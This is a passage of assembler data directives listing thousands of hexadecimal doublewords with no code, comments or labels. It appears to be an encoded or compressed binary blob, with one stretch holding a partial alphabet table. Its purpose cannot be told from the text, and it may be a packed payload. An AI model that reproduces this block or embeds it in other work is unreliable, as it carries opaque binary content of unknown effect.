0CF507480h dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h dd 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h, 904EF815h dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch dd 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h dd 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h dd 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh dd 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh dd 3B5E079h, 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h dd 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h dd 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh dd 27841D5h, 0C327116Ch dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h dd 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah dd 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h dd 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h dd 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h dd 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh dd 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch dd 10D008D4h, 0F831FCh, 1DD87D89h, 59226421h, 0AC1F34F8h dd 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h dd 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h, 32002126h dd 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh dd 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh, 9A0B2700h dd 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh dd 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh, 0BCDE6300h dd 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h dd 39B481B8h, 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h dd 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h dd 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h dd 505BAA8h, 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh dd 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h dd 0EC7552h, 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh dd 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h dd 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h dd 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch dd 0B85D3207h, 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh dd 0FDC39257h, 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh dd 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh dd 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h dd 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah dd 0DF54E20h, 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h dd 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh dd 3E25D2F4h, 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h dd 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh dd 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h, 650078BFh dd 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h, 755CE9F8h dd 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h dd 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h dd 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h dd 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h dd 8E1CC778h, 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh dd 0DE010Dh, 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h dd 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh dd 0F94594h, 15086EEBh, 81C49610h, 67D38600h, 0A528F895h dd 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh dd 0FA4178h, 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h dd 0B1541A22h, 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh dd 80553EADh, 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h dd 0E4C16D7h, 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h dd 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh dd 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h dd 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch dd 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h dd 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h dd 3B633169h, 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h dd 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh dd 2300DC4Fh, 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh dd 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh dd 7DD2DC70h, 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h dd 0D67B16h, 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h dd 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h dd 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh dd 0B239CBh, 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh dd 34FC0064h, 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h dd 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh dd 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h, 49975E77h dd 50032429h, 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h dd 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh dd 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h dd 3F105CB0h, 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh dd 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h dd 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh dd 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh dd 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h dd 79F0F430h, 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h dd 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h dd 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh, 43030004h dd 79FA013Eh, 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh dd 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h, 824485DAh dd 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h, 6307C2F0h dd 6240F8Bh, 0C5D404BAh, 0DABF3000h, 8DFB0228h, 0C540EBA0h dd 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h, 0CAC0237Ch dd 25F74Ch, 0F64C9B90h, 0B00507h, 0AFECE901h, 0D854DF4Dh dd 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh, 283C3043h dd 48080400h, 200C112Ch, 10440114h, 66D38318h, 0EF0AEC3Ah dd 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h, 2A007586h dd 144642A4h, 12711821h, 0FC7AB5C7h, 0AB770029h, 4163094Ch dd 0B642039Ch, 747B7540h, 66B8DCF3h, 0C300DF29h, 2CBED669h dd 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh, 0B700E99Fh dd 45DD2609h, 600400F3h, 50520717h, 0AE8E2ADh, 0E8813B1Fh dd 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh, 257A4B00h dd 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h, 51057724h dd 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h, 7570E579h dd 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h, 0CFA4D27h dd 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh, 13B2F628h dd 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h dd 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh dd 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h dd 1602546h, 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h dd 16344828h, 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch dd 13C93840h, 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh dd 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h dd 5AC07473h, 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh dd 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh dd 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch dd 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h dd 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h dd 7208F600h, 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h dd 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h dd 0D45BCFF0h, 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h dd 0A51D0075h, 74349119h, 3B002B85h, 47763196h, 0CB92Ch dd 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h dd 83C6DAC3h, 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh dd 76193C00h, 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h, 1C080037h dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h, 96B438F3h dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh dd 6032C824h, 68C0DE09h dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h dd 2CF0CC2h, 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h, 9DF50120h dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h dd 46A2F82h, 8800A495h, 4178C646h, 91085B8h, 436DAC14h dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h dd 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h dd 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh dd 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 